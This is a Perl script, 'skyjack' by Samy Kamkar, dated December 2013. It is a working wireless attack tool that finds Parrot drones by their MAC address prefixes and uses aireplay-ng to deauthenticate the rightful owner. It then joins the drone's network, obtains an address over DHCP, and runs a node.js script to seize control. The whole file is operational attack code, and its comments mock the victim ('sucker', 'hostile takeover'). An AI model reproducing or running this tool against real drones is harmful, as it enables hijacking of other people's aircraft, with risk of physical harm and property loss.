#!/usr/bin/perl
# skyjack, by samy kamkar
# this software detects flying drones, deauthenticates the
# owner of the targetted drone, then takes control of the drone
# by samy kamkar, code@samy.pl
# http://samy.pl
# dec 2, 2013
# mac addresses of ANY type of drone we want to attack
# Parrot owns the 90:03:B7 block of MACs and a few others
# see here: http://standards.ieee.org/develop/regauth/oui/oui.txt
my @drone_macs = qw/90:03:B7 A0:14:3D 00:12:1C 00:26:7E/;
use strict;
my $interface = shift || "wlan1";
my $interface2 = shift || "wlan0";
# the JS to control our drone
my $controljs = shift || "drone_control/drone_pwn.js";
# paths to applications
my $dhclient = "dhclient";
my $iwconfig = "iwconfig";
my $ifconfig = "ifconfig";
my $airmon = "airmon-ng";
my $aireplay = "aireplay-ng";
my $aircrack = "aircrack-ng";
my $airodump = "airodump-ng";
my $nodejs = "nodejs";
# put device into monitor mode
sudo($ifconfig, $interface, "down");
#sudo($airmon, "start", $interface);
# tmpfile for ap output
my $tmpfile = "/tmp/dronestrike";
my %skyjacked;
while (1)
{
# show user APs
eval {
local $SIG{INT} = sub { die };
my $pid = open(DUMP, "|sudo $airodump --output-format csv -w $tmpfile $interface >>/dev/null 2>>/dev/null") || die "Can't run airodump ($airodump): $!";
print "pid $pid\n";
# wait 5 seconds then kill
sleep 2;
print DUMP "\cC";
sleep 1;
sudo("kill", $pid);
sleep 1;
sudo("kill", "-HUP", $pid);
sleep 1;
sudo("kill", "-9", $pid);
sleep 1;
sudo("killall", "-9", $aireplay, $airodump);
#kill(9, $pid);
close(DUMP);
};
sleep 4;
# read in APs
my %clients;
my %chans;
foreach my $tmpfile1 (glob("$tmpfile*.csv"))
{
open(APS, "<$tmpfile1") || print "Can't read tmp file $tmpfile1: $!";
while (<APS>)
{
# strip weird chars
s/[\0\r]//g;
foreach my $dev (@drone_macs)
{
# determine the channel
if (/^($dev:[\w:]+),\s+\S+\s+\S+\s+\S+\s+\S+\s+(\d+),.*(ardrone\S+),/)
{
print "CHANNEL $1 $2 $3\n";
$chans{$1} = [$2, $3];
}
# grab our drone MAC and owner MAC
if (/^([\w:]+).*\s($dev:[\w:]+),/)
{
print "CLIENT $1 $2\n";
$clients{$1} = $2;
}
}
}
close(APS);
sudo("rm", $tmpfile1);
#unlink($tmpfile1);
}
print "\n\n";
foreach my $cli (keys %clients)
{
print "Found client ($cli) connected to $chans{$clients{$cli}}[1] ($clients{$cli}, channel $chans{$clients{$cli}}[0])\n";
# hop onto the channel of the ap
print "Jumping onto drone's channel $chans{$clients{$cli}}[0]\n\n";
#sudo($airmon, "start", $interface, $chans{$clients{$cli}}[0]);
sudo($iwconfig, $interface, "channel", $chans{$clients{$cli}}[0]);
sleep(1);
# now, disconnect the TRUE owner of the drone.
# sucker.
print "Disconnecting the true owner of the drone ;)\n\n";
sudo($aireplay, "-0", "3", "-a", $clients{$cli}, "-c", $cli, $interface);
}
sleep(2);
# go into managed mode
#sudo($airmon, "stop", $interface);
# connect to each drone and run our zombie client!
foreach my $drone (keys %chans)
{
# ignore drones we've skyjacked before -- thanks to @daviottenheimer for bug discovery!
next if $skyjacked{$chans{$drone}[1]}++;
print "\n\nConnecting to drone $chans{$drone}[1] ($drone)\n";
sudo($iwconfig, $interface2, "essid", $chans{$drone}[1]);
print "Acquiring IP from drone for hostile takeover\n";
sudo($dhclient, "-v", $interface2);
print "\n\nTAKING OVER DRONE\n";
sudo($nodejs, $controljs);
}
sleep 5;
}
sub sudo
{
print "Running: @_\n";
system("sudo", @_);
}